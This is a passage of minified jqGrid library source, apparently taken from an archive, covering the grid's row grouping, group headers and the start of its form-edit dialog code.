n.groupSummary[r]&&(n.groupSummary[r]=!1),n.groupSummaryPos[r]||(n.groupSummaryPos[r]="footer"),!0===n.groupColumnShow[r]?(n.visibiltyOnNextGrouping[r]=!0,N(t).jqGrid("showCol",n.groupField[r])):(n.visibiltyOnNextGrouping[r]=N("#"+N.jgrid.jqID(t.p.id+"_"+n.groupField[r])).is(":visible"),N(t).jqGrid("hideCol",n.groupField[r]));for(n.summary=[],n.hideFirstGroupCol&&Array.isArray(n.formatDisplayField)&&!N.jgrid.isFunction(n.formatDisplayField[0])&&(n.formatDisplayField[0]=function(r){return r}),e=0,i=o.length;e<i;e++)n.hideFirstGroupCol&&!o[e].hidden&&n.groupField[0]===o[e].name&&(o[e].formatter=function(){return""}),o[e].summaryType&&(o[e].summaryDivider?n.summary.push({nm:o[e].name,st:o[e].summaryType,v:"",sd:o[e].summaryDivider,vd:"",sr:o[e].summaryRound,srt:o[e].summaryRoundType||"round"}):n.summary.push({nm:o[e].name,st:o[e].summaryType,v:"",sr:o[e].summaryRound,srt:o[e].summaryRoundType||"round"}))}else t.p.grouping=!1})},groupingPrepare:function(l,u){return this.each(function(){for(var r,e,i,t=this.p.groupingView,o=this,n=function(){N.jgrid.isFunction(this.st)?this.v=this.st.call(o,this.v,this.nm,l):(this.v=N(o).jqGrid("groupingCalculations.handler",this.st,this.v,this.nm,this.sr,this.srt,l),"avg"===this.st.toLowerCase()&&this.sd&&(this.vd=N(o).jqGrid("groupingCalculations.handler",this.st,this.vd,this.sd,this.sr,this.srt,l)))},s=t.groupField.length,a=0,d=0;d<s;d++)r=t.groupField[d],i=t.displayField[d],e=l[r],null==(i=null==i?null:l[i])&&(i=e),void 0!==e&&(0===u?(t.groups.push({idx:d,dataIndex:r,value:e,displayValue:i,startRow:u,cnt:1,summary:[]}),t.lastvalues[d]=e,t.counters[d]={cnt:1,pos:t.groups.length-1,summary:N.extend(!0,[],t.summary)}):"object"==typeof e||(Array.isArray(t.isInTheSameGroup)&&N.jgrid.isFunction(t.isInTheSameGroup[d])?t.isInTheSameGroup[d].call(o,t.lastvalues[d],e,d,t):t.lastvalues[d]===e)?1===a?(t.groups.push({idx:d,dataIndex:r,value:e,displayValue:i,startRow:u,cnt:1,summary:[]}),t.lastvalues[d]=e,t.counters[d]={cnt:1,pos:t.groups.length-1,summary:N.extend(!0,[],t.summary)}):(t.counters[d].cnt+=1,t.groups[t.counters[d].pos].cnt=t.counters[d].cnt):(t.groups.push({idx:d,dataIndex:r,value:e,displayValue:i,startRow:u,cnt:1,summary:[]}),t.lastvalues[d]=e,t.counters[d]={cnt:a=1,pos:t.groups.length-1,summary:N.extend(!0,[],t.summary)}),N.each(t.counters[d].summary,n),t.groups[t.counters[d].pos].summary=t.counters[d].summary)}),this},groupingToggle:function(y){return this.each(function(){function r(r){return 0<(r=N.map(r.split(" "),function(r){if(r.substring(0,d.length+1)===d+"_")return parseInt(r.substring(d.length+1),10)})).length?r[0]:void 0}var e,i,t,o=this,n=o.p.groupingView,s=y.split("_"),a=parseInt(s[s.length-2],10),d=(s.splice(s.length-2,2),s.join("_")),l=n.minusicon,u=n.plusicon,s=N("#"+N.jgrid.jqID(y)),p=s.length?s[0].nextSibling:null,s=N("#"+N.jgrid.jqID(y)+" span.tree-wrap-"+o.p.direction),g=!1,h=!1,c=!!o.p.frozenColumns&&o.p.id+"_frozen",m=!!c&&N("#"+N.jgrid.jqID(y),"#"+N.jgrid.jqID(c)),f=m&&m.length?m[0].nextSibling:null;if(s.hasClass(l)){if(p)for(;p&&!(void 0!==(e=r(p.className))&&e<=a);)t=parseInt(N(p).attr("jqfootlevel"),10),(h=!isNaN(t)&&n.showSummaryOnHide&&a<=t)||N(p).hide(),p=p.nextSibling,c&&(h||N(f).hide(),f=f.nextSibling);s.removeClass(l).addClass(u),g=!0}else{if(p)for(i=void 0;p;){if(e=r(p.className),t=parseInt(N(p).attr("jqfootlevel"),10),void 0===i&&(i=void 0===e),h=N(p).hasClass("ui-subgrid")&&N(p).hasClass("ui-sg-collapsed"),void 0!==e){if(e<=a)break;e!==a+1||h||(N(p).show().find(">td>span.tree-wrap-"+o.p.direction).removeClass(l).addClass(u),c&&N(f).show().find(">td>span.tree-wrap-"+o.p.direction).removeClass(l).addClass(u))}else i?h||(N(p).show(),c&&N(f).show()):!isNaN(t)&&0<=t&&t===a&&(N(p).show(),c)&&N(f).show();p=p.nextSibling,c&&(f=f.nextSibling)}s.removeClass(u).addClass(l)}c&&"auto"===o.p.height&&(o.grid.fbDiv.height(N(o).height()),o.grid.fsDiv)&&(m=N(o.grid.bDiv)[0].scrollWidth>N(o.grid.bDiv)[0].clientWidth?N.jgrid.scrollbarHeight():0,o.grid.fsDiv.css("top",o.grid.fbDiv.position().top+N(o).height()+m+"px")),N(o).triggerHandler("jqGridGroupingClickGroup",[y,g]),N.jgrid.isFunction(o.p.onClickGroup)&&o.p.onClickGroup.call(o,y,g)}),!1},groupingRender:function(H,F,I,D){return this.each(function(){var g,h,c,m,f=this,y=f.p.groupingView,v="",j=y.groupCollapse?y.plusicon:y.minusicon,w=[],x=y.groupField.length,q=N.jgrid.styleUI[f.p.styleUI||"jQueryUI"].common,j=j+" tree-wrap-"+f.p.direction,C=(N.each(f.p.colModel,function(r,e){for(var i=0;i<x;i++)if(y.groupField[i]===e.name){w[i]=r;break}}),0);function b(r,e,i,t,o){for(var n,s,a,d=function(r,e,i){var t,o=!1;if(0===e)o=i[r];else{var n=i[r].idx;if(0===n)o=i[r];else for(t=r;0<=t;t--)if(i[t].idx===n-e){o=i[t];break}}return o}(r,e,i),l=f.p.colModel,u=(d.cnt,""),p=!1,g=t;g<F;g++)!l[g].hidden&&!p&&o?(s=o,p=!0):s='<td role="gridcell" '+f.formatCol(g,1,"")+"> </td>",N.each(d.summary,function(){if(this.nm===l[g].name){a=l[g].summaryTpl||"{0}",n=this.v;try{this.groupCount=d.cnt,this.groupIndex=d.dataIndex,this.groupValue=d.value}catch(r){}return s='<td role="gridcell" '+f.formatCol(g,1,"")+">"+N.jgrid.template(a,n,d.cnt,d.dataIndex,d.displayValue,d.summary)+"</td>",!1}}),u+=s;return u}var G,S=N.makeArray(y.groupSummary);S.reverse(),G=f.p.multiselect?' colspan="2"':"",N.each(y.groups,function(r,e){if(y._locgr&&!(e.startRow+e.cnt>(I-1)*D&&e.startRow<I*D))return!0;C++,c=f.p.id+"ghead_"+e.idx,h=c+"_"+r,g="<span style='cursor:pointer;margin-right:8px;margin-left:5px;' class='"+q.icon_base+" "+j+"' onclick=\"jQuery('#"+N.jgrid.jqID(f.p.id)+"').jqGrid('groupingToggle','"+h+"');return false;\"></span>";try{m=Array.isArray(y.formatDisplayField)&&N.jgrid.isFunction(y.formatDisplayField[e.idx])?y.formatDisplayField[e.idx].call(f,e.displayValue,e.value,f.p.colModel[w[e.idx]],e.idx,y):f.formatter(h,e.displayValue,w[e.idx],e.value)}catch(r){m=e.displayValue}for(var i="",t=0;t<e.summary.length;t++){var o=e.summary[t],n=N.jgrid.getElemByAttrVal(f.p.colModel,"name",o.nm,!0);if(0<=n){"string"==typeof o.st&&"avg"===o.st.toLowerCase()&&(o.sd&&o.vd?o.v=o.v/o.vd:o.v&&0<e.cnt&&(o.v=o.v/e.cnt)),o.uv=o.v;try{o.v=f.formatter("",o.v,n,this)}catch(r){}}}if("string"!=typeof(i=N.jgrid.isFunction(y.groupText[e.idx])?y.groupText[e.idx].call(f,m,e.cnt,e.summary):N.jgrid.template.call(f,y.groupText[e.idx],m,e.cnt,e.summary))&&"number"!=typeof i&&(i=m),"header"===y.groupSummaryPos[e.idx]?v=(v+='<tr id="'+h+'"'+(y.groupCollapse&&0<e.idx?' style="display:none;" ':" ")+'role="row" class= "'+q.content+" jqgroup ui-row-"+f.p.direction+" "+c+'">')+b(r,0,y.groups,G?1:0,'<td role="gridcell" style="padding-left:'+12*e.idx+'px;"'+G+">"+g+i+"</td>")+"</tr>":v+='<tr id="'+h+'"'+(y.groupCollapse&&0<e.idx?' style="display:none;" ':" ")+'role="row" class= "'+q.content+" jqgroup ui-row-"+f.p.direction+" "+c+'"><td style="padding-left:'+12*e.idx+'px;" colspan="'+(!1===y.groupColumnShow[e.idx]?F-1:F)+'">'+g+i+"</td></tr>",x-1===e.idx){var s,a,d,l=y.groups[r+1],u=0,i=e.startRow,p=void 0!==l?l.startRow:y.groups[r].startRow+y.groups[r].cnt;for(t=i=y._locgr&&(u=(I-1)*D)>e.startRow?u:i;t<p&&H[t-u];t++)v+=H[t-u].join("");if("header"!==y.groupSummaryPos[e.idx]){if(void 0!==l){for(a=0;a<y.groupField.length&&l.dataIndex!==y.groupField[a];a++);C=y.groupField.length-a}for(s=0;s<C;s++)S[s]&&(d="",y.groupCollapse&&!y.showSummaryOnHide&&(d=' style="display:none;"'),v=(v+="<tr"+d+' jqfootlevel="'+(e.idx-s)+'" role="row" class="'+q.content+" jqfoot ui-row-"+f.p.direction+'">')+b(r,s,y.groups,0,!1)+"</tr>");C=a}}}),N("#"+N.jgrid.jqID(f.p.id)+" tbody").first().append(v),v=null})},groupingGroupBy:function(t,o){return this.each(function(){var r,e=this,i=("string"==typeof t&&(t=[t]),e.p.groupingView);for(e.p.grouping=!0,i._locgr=!1,void 0===i.visibiltyOnNextGrouping&&(i.visibiltyOnNextGrouping=[]),r=0;r<i.groupField.length;r++)!i.groupColumnShow[r]&&i.visibiltyOnNextGrouping[r]&&N(e).jqGrid("showCol",i.groupField[r]);for(r=0;r<t.length;r++)i.visibiltyOnNextGrouping[r]=N("#"+N.jgrid.jqID(e.p.id)+"_"+N.jgrid.jqID(t[r])).is(":visible");e.p.groupingView=N.extend(e.p.groupingView,o||{}),i.groupField=t,N(e).trigger("reloadGrid")})},groupingRemove:function(t,o){return this.each(function(){var r=this;if(void 0===t&&(t=!0),void 0===o&&(o=!1),!(r.p.grouping=!1)===t){for(var e=r.p.groupingView,i=0;i<e.groupField.length;i++)!e.groupColumnShow[i]&&e.visibiltyOnNextGrouping[i]&&N(r).jqGrid("showCol",e.groupField);N("#"+N.jgrid.jqID(r.p.id)+" tbody").first().find("tr.jqgroup, tr.jqfoot").remove(),N("#"+N.jgrid.jqID(r.p.id)+" tbody").first().find("tr.jqgrow:hidden").show()}else N(r).trigger("reloadGrid");o&&N(r).jqGrid("groupingInit")})},groupingCalculations:{handler:function(r,e,i,t,o,n){var s,a={sum:function(){return N.jgrid.floatNum(e)+N.jgrid.floatNum(n[i])},min:function(){return""===e?N.jgrid.floatNum(n[i]):Math.min(N.jgrid.floatNum(e),N.jgrid.floatNum(n[i]))},max:function(){return""===e?N.jgrid.floatNum(n[i]):Math.max(N.jgrid.floatNum(e),N.jgrid.floatNum(n[i]))},count:function(){return""===e&&(e=0),n.hasOwnProperty(i)?e+1:0},avg:function(){return a.sum()}};if(a[r])return s=a[r](),null!=t?"fixed"===o?s.toFixed(t):(o=Math.pow(10,t),Math.round(s*o)/o):s;throw"jqGrid Grouping No such method: "+r}},groupingResetCalcs:function(){return this.each(function(){this.p.groupingView._locgr=!1})},setColSpanHeader:function(C){return this.each(function(){var r,e,i,t,o,n,s,a,d,l,u,p,g,h,c=this,m=0,f=c.p.colModel,y=f.length,v=c.grid.headers,j=N("table.ui-jqgrid-htable",c.grid.hDiv),w=j.children("thead"),x=j.find(".jqg-first-row-header"),j=!1,q=w.children("tr").length;for(Array.isArray(C)&&(c.p.colSpanHeader=C),void 0===x[0]?x=N("<tr>",{role:"row","aria-hidden":"true"}).addClass("jqg-first-row-header").css("height","auto"):x.empty(),c.p.frozenColumns&&(N(c).jqGrid("destroyFrozenColumns"),j=!0),r=0;r<y;r++)i=v[r].el,t=N(i),e=f[r],o={height:"0px",width:v[r].width+"px",display:e.hidden?"none":""},N("<th>",{role:"gridcell"}).css(o).addClass("ui-first-th-"+c.p.direction+" "+(e.labelClasses||"")).appendTo(x);for(w.prepend(x),N(c).on("jqGridResizeStop.setGroupHeaders",function(r,e,i){x.find("th").eq(i)[0].style.width=e+"px"}),r=0;r<y;r++)if(i=v[r].el,t=N(i),e=f[r],0<=(s=N.jgrid.inColumnHeader(e.name,c.p.colSpanHeader))){for(d=(a=c.p.colSpanHeader[s]).numberOfColumns,l=a.titleText||"",g=a.className||"",u=a.toolTip||"",s=p=0;s<d&&r+s<y;s++)f[r+s].hidden||p++;if(0<p&&(t.attr("colspan",String(p)),1<q))for(n=1;n<q;n++)N("tr",w).eq(n+1).find("th").eq(r).attr("colspan",String(p));for(l&&(h=t.find("div.ui-th-div")[0],a.savedLabel=h.innerHTML,h.innerHTML=l,"string"==typeof u&&""!==u?t.attr("title",u):c.p.headertitles&&t.attr("title",l)),t.addClass(g),m=0;m<d-1;m++)if(N(v[m+r+1].el).hide(),c.p.colModel[m+r+1].hidedlg=!0,c.p.colModel[m+r+1]._colspancell=!0,1<q)for(n=1;n<q;n++)N("tr",w).eq(n+1).find("th").eq(r+m+1).hide()}j&&N(c).jqGrid("setFrozenColumns")})},destroyColSpanHeader:function(a){return void 0===a&&(a=!0),this.each(function(){var i,t,r,o,n,e=this,s=N("table.ui-jqgrid-htable",e.grid.hDiv).children("thead");if(N("tr.jqg-first-row-header",s).remove(),e.p.colSpanHeader.length)for(r=0;r<e.p.colSpanHeader.length;r++)if(i=e.p.colSpanHeader[r],!((n=N.jgrid.getElemByAttrVal(e.p.colModel,"name",i.startColumnName,!0))<0)){for(t=n+1;t<n+i.numberOfColumns;t++)e.p.colModel[t].hidedlg=!1,e.p.colModel[t]._colspancell=!1;N(">tr",s).each(function(r,e){for((o=N("th",e).eq(n)).className||(o.className=""),N(o).attr("colspan","").removeClass(o.className),N(e).hasClass("ui-jqgrid-labels")&&(o.find("div.ui-th-div")[0].innerHTML=i.savedLabel),t=1;t<i.numberOfColumns;t++)N("th",e).eq(n+t).show()})}a&&(e.p.colSpanHeader=[])})},setGroupHeaders:function(b){return b=N.extend({useColSpanStyle:!1,groupHeaders:[]},b||{}),this.each(function(){var r,e,i,t,o,n,s,a,d,l,u,p,g=this,h=0,c=g.p.colModel,m=c.length,f=g.grid.headers,y=N("table.ui-jqgrid-htable",g.grid.hDiv),v=y.children("thead").children("tr.ui-jqgrid-labels").last().addClass("jqg-second-row-header"),j=y.children("thead"),w=y.find(".jqg-first-row-header"),x=!1,q=!1,C=N.jgrid.styleUI[g.p.styleUI||"jQueryUI"].base;for(g.p.groupHeader||(g.p.groupHeader=[]),g.p.groupHeader.push(b),g.p.groupHeaderOn=!0,void 0===w[0]?w=N("<tr>",{role:"row","aria-hidden":"true"}).addClass("jqg-first-row-header").css("height","auto"):w.empty(),g.p.frozenColumns&&(N(g).jqGrid("destroyFrozenColumns"),q=!0),(N(document.activeElement).is("input")||N(document.activeElement).is("textarea"))&&(x=document.activeElement),N(g).prepend(j),i=N("<tr>",{role:"row"}).addClass("ui-jqgrid-labels jqg-third-row-header"),r=0;r<m;r++)if(t=f[r].el,o=N(t),e=c[r],l={height:"0px",width:f[r].width+"px",display:e.hidden?"none":""},N("<th>",{role:"gridcell"}).css(l).addClass("ui-first-th-"+g.p.direction+" "+(e.labelClasses||"")).appendTo(w),t.style.width="",0<=(n=N.jgrid.inColumnHeader(e.name,b.groupHeaders))){for(s=(l=b.groupHeaders[n]).numberOfColumns,p=l.titleText,a=l.toolTip||"",l=l.className||"",n=d=0;n<s&&r+n<m;n++)c[r+n].hidden||d++;l=N("<th>").attr({role:"columnheader"}).addClass(C.headerBox+" ui-th-column-header ui-th-"+g.p.direction+" "+l+" "+(e.labelClasses||"")).html(p),0<d&&l.attr("colspan",String(d)),"string"==typeof a&&""!==a?l.attr("title",a):g.p.headertitles&&l.attr("title",l.text()),0===d&&l.hide(),o.before(l),i.append(t),h=s-1}else 0===h?b.useColSpanStyle?(p=o.attr("rowspan")?parseInt(o.attr("rowspan"),10)+1:2,o.attr("rowspan",p)):(N("<th>",{role:"columnheader"}).addClass(C.headerBox+" ui-th-column-header ui-th-"+g.p.direction).css({display:e.hidden?"none":""}).insertBefore(o),i.append(t)):(i.append(t),h--);if((j=N(g).children("thead")).prepend(w),i.insertAfter(v),y.append(j),b.useColSpanStyle&&(y.find("span.ui-jqgrid-resize").each(function(){var r=N(this).parent();r.is(":visible")&&(this.style.cssText="height: "+r.height()+"px !important; cursor: col-resize;")}),y.find("div.ui-jqgrid-sortable").each(function(){var r=N(this),e=r.parent();e.is(":visible")&&e.is(":has(span.ui-jqgrid-resize)")&&r.css("top",(e.height()-r.outerHeight())/2-4+"px")})),u=j.find("tr.jqg-first-row-header"),N(g).on("jqGridResizeStop.setGroupHeaders",function(r,e,i){u.find("th").eq(i)[0].style.width=e+"px"}),x)try{N(x).focus()}catch(r){}v=N("tr.jqg-second-row-header th").eq(0);"object"===N.jgrid.type(v)&&v.length&&""===N.jgrid.trim(v[0].outerText)&&N("tr.jqg-second-row-header th").eq(0).prepend(" "),q&&N(g).jqGrid("setFrozenColumns"),N(g).triggerHandler("afterSetGroupHandler",[b])})},destroyGroupHeader:function(p){return void 0===p&&(p=!0),this.each(function(){var r,e,i,t,o,n,s=this,a=s.grid,d=N("table.ui-jqgrid-htable thead",a.hDiv),l=s.p.colModel,u=!1;if(a){for(s.p.frozenColumns&&(N(s).jqGrid("destroyFrozenColumns"),u=!0),N(this).off(".setGroupHeaders"),s.p.groupHeaderOn=!1,r=N("<tr>",{role:"row"}).addClass("ui-jqgrid-labels"),e=0,i=(t=a.headers).length;e<i;e++){n=l[e].hidden?"none":"",n=N(t[e].el).width(N("tr.jqg-first-row-header th",d).eq(e).width()).css("display",n);try{n.removeAttr("rowSpan")}catch(r){n.attr("rowSpan",1)}r.append(n),0<(o=n.children("span.ui-jqgrid-resize")).length&&(o[0].style.height=""),n.children("div")[0].style.top=""}N(d).children("tr.ui-jqgrid-labels").remove(),N(d).children("tr.jqg-first-row-header").remove(),N(d).prepend(r),!0===p&&N(s).jqGrid("setGridParam",{groupHeader:null}),u&&N(s).jqGrid("setFrozenColumns"),N(s).off("afterSetGroupHandler")}})},isGroupHeaderOn:function(){var r=this[0];return!0===r.p.groupHeaderOn&&r.p.groupHeader&&(Array.isArray(r.p.groupHeader)||N.jgrid.isFunction(r.p.groupHeader))},refreshGroupHeaders:function(){return this.each(function(){var r,e=this,i=N(e).jqGrid("isGroupHeaderOn");if(i&&(N(e).jqGrid("destroyGroupHeader",!1),r=N.extend([],e.p.groupHeader),e.p.groupHeader=null),i&&r)for(var t=0;t<r.length;t++)N(e).jqGrid("setGroupHeaders",r[t])})}})});minified/grid.formedit.js000064400000160111151677266200011437 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","./grid.common"],e):e(jQuery)}(function(Z){"use strict";var $={};Z.jgrid.extend({editGridRow:function(X,Y){var e=Z.jgrid.getRegional(this[0],"edit"),t=this[0].p.styleUI,J=Z.jgrid.styleUI[t].formedit,K=Z.jgrid.styleUI[t].common;return Y=Z.extend(!0,{top:0,left:0,width:"500",datawidth:"auto",height:"auto",dataheight:"auto",modal:!1,overlay:30,drag:!0,resize:!0,url:null,mtype:"POST",clearAfterAdd:!0,closeAfterEdit:!1,reloadAfterSubmit:!0,onInitializeForm:null,beforeInitData:null,beforeShowForm:null,afterShowForm:null,beforeSubmit:null,afterSubmit:null,onclickSubmit:null,afterComplete:null,onclickPgButtons:null,afterclickPgButtons:null,editData:{},recreateForm:!1,jqModal:!0,closeOnEscape:!1,addedrow:"first",topinfo:"",bottominfo:"",saveicon:[],closeicon:[],savekey:[!1,13],navkeys:[!1,38,40],checkOnSubmit:!1,checkOnUpdate:!1,processing:!1,onClose:null,ajaxEditOptions:{},serializeEditData:null,viewPagerButtons:!0,overlayClass:K.overlay,removemodal:!0,form:"edit",template:null,focusField:!0,editselected:!1,html5Check:!1,buttons:[]},e,Y||{}),$[Z(this)[0].p.id]=Y,this.each(function(){var u=this;if(u.grid&&X){u.p.savedData={};var h,m,i,e,f=u.p.id,g="FrmGrid_"+f,t="TblGrid_"+f,j="#"+Z.jgrid.jqID(t),v={themodal:"editmod"+f,modalhead:"edithd"+f,modalcontent:"editcnt"+f,scrollelm:g},a=!0,d=1,r=0,o="string"==typeof $[u.p.id].template&&0<$[u.p.id].template.length,b=Z.jgrid.getRegional(this,"errors"),M=($[u.p.id].styleUI=u.p.styleUI||"jQueryUI",Z.jgrid.isMobile()&&($[u.p.id].resize=!1),"new"===X?(X="_empty",m="add",Y.caption=$[u.p.id].addCaption):(Y.caption=$[u.p.id].editCaption,m="edit"),Y.recreateForm||Z(u).data("formProp")&&Z.extend($[Z(this)[0].p.id],Z(u).data("formProp")),!0),n=(Y.checkOnUpdate&&Y.jqModal&&!Y.modal&&(M=!1),isNaN($[Z(this)[0].p.id].dataheight)?$[Z(this)[0].p.id].dataheight:$[Z(this)[0].p.id].dataheight+"px"),s=isNaN($[Z(this)[0].p.id].datawidth)?$[Z(this)[0].p.id].datawidth:$[Z(this)[0].p.id].datawidth+"px",w=Z("<form name='FormPost' id='"+g+"' class='FormGrid' onSubmit='return false;' style='width:"+s+";height:"+n+";'></form>").data("disabled",!1),l=o?(s=$[Z(this)[0].p.id].template,n="",i=n="string"==typeof s?s.replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g,function(e,t){return'<span id="'+t+'" ></span>'}):n,j):(i=Z("<table id='"+t+"' class='EditTable ui-common-table'><tbody></tbody></table>"),j+"_2"),g="#"+Z.jgrid.jqID(g);if(Z(w).append("<div class='FormError "+K.error+"' style='display:none;'></div>"),Z(w).append("<div class='tinfo topinfo'>"+$[u.p.id].topinfo+"</div>"),Z(u.p.colModel).each(function(){var e=this.formoptions;d=Math.max(d,e&&e.colpos||0),r=Math.max(r,e&&e.rowpos||0)}),Z(w).append(i),!1!==(a=(a=void 0===(a=Z(u).triggerHandler("jqGridAddEditBeforeInitData",[w,m]))?!0:a)&&Z.jgrid.isFunction($[u.p.id].beforeInitData)?$[u.p.id].beforeInitData.call(u,w,m):a)){if("_empty"!==X&&void 0!==u.p.savedRow&&0<u.p.savedRow.length&&Z.jgrid.isFunction(Z.fn.jqGrid.restoreRow))for(e=0;e<u.p.savedRow.length;e++)if(u.p.savedRow[e].id===X){Z(u).jqGrid("restoreRow",X);break}for(var c,p,D,y,B,q,R,x=X,_=u,I=i,k=d,C=0,F=!1,T="",U=1;U<=k;U++)T+="<td class='CaptionTD'></td><td class='DataTD'></td>";"_empty"!==x&&(F=Z(_).jqGrid("getInd",x)),Z(_.p.colModel).each(function(t){if(c=this.name,p=(!this.editrules||!0!==this.editrules.edithidden)&&!0===this.hidden,B=p?"style='display:none'":"","cb"!==c&&"subgrid"!==c&&!0===this.editable&&"rn"!==c&&"sc"!==c){if(!1===F)y="";else if(c===_.p.ExpandColumn&&!0===_.p.treeGrid)y=Z("td[role='gridcell']",_.rows[F]).eq(t).text();else{try{y=Z.unformat.call(_,Z("td[role='gridcell']",_.rows[F]).eq(t),{rowId:x,colModel:this},t)}catch(e){y=this.edittype&&"textarea"===this.edittype?Z("td[role='gridcell']",_.rows[F]).eq(t).text():Z("td[role='gridcell']",_.rows[F]).eq(t).html()}y&&" "!==y&&" "!==y&&(1!==y.length||160!==y.charCodeAt(0))||(y="")}var e,i=Z.extend({},this.editoptions||{},{id:c,name:c,rowId:x,oper:m,module:"form",checkUpdate:$[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate}),a=Z.extend({},{elmprefix:"",elmsuffix:"",rowabove:!1,rowcontent:""},this.formoptions||{}),d=parseInt(a.rowpos,10)||C+1,r=parseInt(2*(parseInt(a.colpos,10)||1),10);"_empty"===x&&i.defaultValue&&(y=Z.jgrid.isFunction(i.defaultValue)?i.defaultValue.call(u):i.defaultValue),this.edittype||(this.edittype="text"),u.p.autoencode&&(y=Z.jgrid.htmlDecode(y)),q=Z.jgrid.createEl.call(u,this.edittype,i,y,!1,Z.extend({},Z.jgrid.ajaxOptions,_.p.ajaxSelectOptions||{})),"select"===this.edittype&&(y=Z(q).val(),"select-multiple"===Z(q).get(0).type)&&(y=y&&y.join(",")),"checkbox"===this.edittype&&(y=Z(q).is(":checked")?Z(q).val():Z(q).attr("offval")),Z(q).addClass("FormElement"),"select"===this.edittype?Z(q).addClass(J.selectClass):-1<Z.inArray(this.edittype,["text","textarea","password","color","date","datetime","datetime-local","email","month","number","range","search","tel","time","url","week"])&&Z(q).addClass(J.inputClass),R=!0,o?(e=Z(w).find("#"+c)).length?e.replaceWith(q):R=!1:(D=Z(I).find("tr[rowpos="+d+"]"),a.rowabove&&(e=Z("<tr><td class='contentinfo' colspan='"+2*k+"'>"+a.rowcontent+"</td></tr>"),Z(I).append(e),e[0].rp=d),0===D.length&&(D=Z(1<k?"<tr rowpos='"+d+"'></tr>":"<tr "+B+" rowpos='"+d+"'></tr>").addClass("FormData").attr("id","tr_"+c),Z(D).append(T),Z(I).append(D),D[0].rp=d),Z("td",D[0]).eq(r-2).html("<label for='"+c+"' class='"+J.labelClass+"'>"+(void 0===a.label?_.p.colNames[t]:a.label)+"</label>"),Z("td",D[0]).eq(r-1).append(a.elmprefix).append(q).append(a.elmsuffix),1<k&&p&&(Z("td",D[0]).eq(r-2).hide(),Z("td",D[0]).eq(r-1).hide())),($[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate)&&R&&(u.p.savedData[c]=y),"custom"===this.edittype&&Z.jgrid.isFunction(i.custom_value)&&i.custom_value.call(u,Z("#"+c,q),"set",y),Z.jgrid.bindEv.call(u,q,i),C,C++}}),0<C&&((o?(O="<div class='FormData' style='display:none'><input class='FormElement' id='id_g' type='text' name='"+_.p.id+"_id' value='"+x+"'/>",Z(w)):((O=Z("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+(2*k-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='"+_.p.id+"_id' value='"+x+"'/></td></tr>"))[0].rp=C+999,Z(I))).append(O),$[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate)&&(u.p.savedData[_.p.id+"_id"]=x);var G,s="rtl"===u.p.direction,n="<a id='"+(s?"nData":"pData")+"' class='fm-button "+K.button+"'><span class='"+K.icon_base+" "+J.icon_prev+"'></span></a>",a="<a id='"+(s?"pData":"nData")+"' class='fm-button "+K.button+"'><span class='"+K.icon_base+" "+J.icon_next+"'></span></a>",O="<a id='sData' class='fm-button "+K.button+"'>"+Y.bSubmit+"</a>",P="<a id='cData' class='fm-button "+K.button+"'>"+Y.bCancel+"</a>",S=Array.isArray($[u.p.id].buttons)?Z.jgrid.buildButtons($[u.p.id].buttons,O+P,K):O+P,S="<table style='height:auto' class='EditTable ui-common-table' id='"+t+"_2'><tbody><tr><td colspan='2'><hr class='"+K.content+"' style='margin:1px'/></td></tr><tr id='Act_Buttons'><td class='navButton'>"+(s?a+n:n+a)+"</td><td class='EditButton'>"+S+"</td></tr>",N=(S+="</tbody></table>",0<r&&(G=[],Z.each(Z(i)[0].rows,function(e,t){G[e]=t}),G.sort(function(e,t){return e.rp>t.rp?1:e.rp<t.rp?-1:0}),Z.each(G,function(e,t){Z("tbody",i).append(t)})),Y.gbox="#gbox_"+Z.jgrid.jqID(f),!1),t=(!0===Y.closeOnEscape&&(Y.closeOnEscape=!1,N=!0),n=o?(Z(w).find("#pData").replaceWith(n),Z(w).find("#nData").replaceWith(a),Z(w).find("#sData").replaceWith(O),Z(w).find("#cData").replaceWith(P),Z("<div id="+t+"></div>").append(w)):Z("<div></div>").append(w).append(S),Z(w).append("<div class='binfo topinfo bottominfo'>"+$[u.p.id].bottominfo+"</div>"),Z(".ui-jqgrid").css("font-size")||"11px"),t=(Z.jgrid.createModal(v,n,$[Z(this)[0].p.id],"#gview_"+Z.jgrid.jqID(u.p.id),Z("#gbox_"+Z.jgrid.jqID(u.p.id))[0],null,{"font-size":t}),s&&(Z("#pData, #nData",j+"_2").css("float","right"),Z(".EditButton",j+"_2").css("text-align","left")),$[u.p.id].topinfo&&Z(".tinfo",g).show(),$[u.p.id].bottominfo&&Z(".binfo",g).show(),n=null,Z("#"+Z.jgrid.jqID(v.themodal)).keydown(function(e){var t=e.target;return!0!==Z(g).data("disabled")&&(!0===$[u.p.id].savekey[0]&&e.which===$[u.p.id].savekey[1]&&"TEXTAREA"!==t.tagName?(Z("#sData",j+"_2").trigger("click"),!1):27===e.which?(A()&&N&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:Y.gbox,jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form}),!1):!0===$[u.p.id].navkeys[0]?"_empty"===Z("#id_g",j).val()||(e.which===$[u.p.id].navkeys[1]?(Z("#pData",l).trigger("click"),!1):e.which===$[u.p.id].navkeys[2]?(Z("#nData",l).trigger("click"),!1):void 0):void 0)}),Y.checkOnUpdate&&(Z("a.ui-jqdialog-titlebar-close span","#"+Z.jgrid.jqID(v.themodal)).removeClass("jqmClose"),Z("a.ui-jqdialog-titlebar-close","#"+Z.jgrid.jqID(v.themodal)).off("click").click(function(){return A()&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form}),!1})),Y.saveicon=Z.extend([!0,"left",J.icon_save],Y.saveicon),Y.closeicon=Z.extend([!0,"left",J.icon_close],Y.closeicon),!0===Y.saveicon[0]&&Z("#sData",l).addClass("right"===Y.saveicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+K.icon_base+" 